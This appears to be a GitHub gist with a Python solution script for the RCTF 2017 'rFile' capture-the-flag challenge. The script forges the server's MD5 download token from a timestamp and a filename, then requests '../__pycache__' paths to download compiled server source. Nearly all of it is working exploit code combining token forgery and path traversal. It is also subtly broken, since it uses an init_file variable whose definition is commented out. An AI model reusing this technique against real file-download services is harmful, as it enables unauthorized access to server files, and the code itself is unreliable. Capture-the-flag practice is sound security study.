Created
May 22, 2017 00:36
-
-
Save rkmylo/7abcc7ba8a0807161a5903e7f4aa3633 to your computer and use it in GitHub Desktop.
RCTF 2017 - rFile Solution
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from __future__ import division | |
import hashlib | |
import requests | |
from datetime import datetime, timedelta | |
api_url = 'http://rfile.2017.teamrois.cn/api/download/{}/{}' | |
def totimestamp(dt, epoch=datetime(1970,1,1)): | |
td = dt - epoch | |
return (td.microseconds + (td.seconds + td.days * 86400) * 10**6) / 10**6 | |
def gen_md5(filename): | |
tstamp = datetime.now() | |
tstamp = tstamp.replace(second=0, microsecond=0) | |
tstamp = int(totimestamp(tstamp)) - 10800 + 60 # fix timezone | |
plaintext = '{}{}'.format(tstamp, filename) | |
md5 = hashlib.md5(plaintext).hexdigest() | |
return md5 | |
#init_file = '../__pycache__/__init__.cpython-35.pyc' => decompile using uncompyle6 (python3) | |
conf_file = '../__pycache__/conf.cpython-35.pyc' | |
download_url = api_url.format(gen_md5(init_file), init_file) | |
resp = requests.get(download_url) | |
print resp.text | |
#with open('__init__.pyc', 'wb') as f: | |
# f.write(resp.content) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment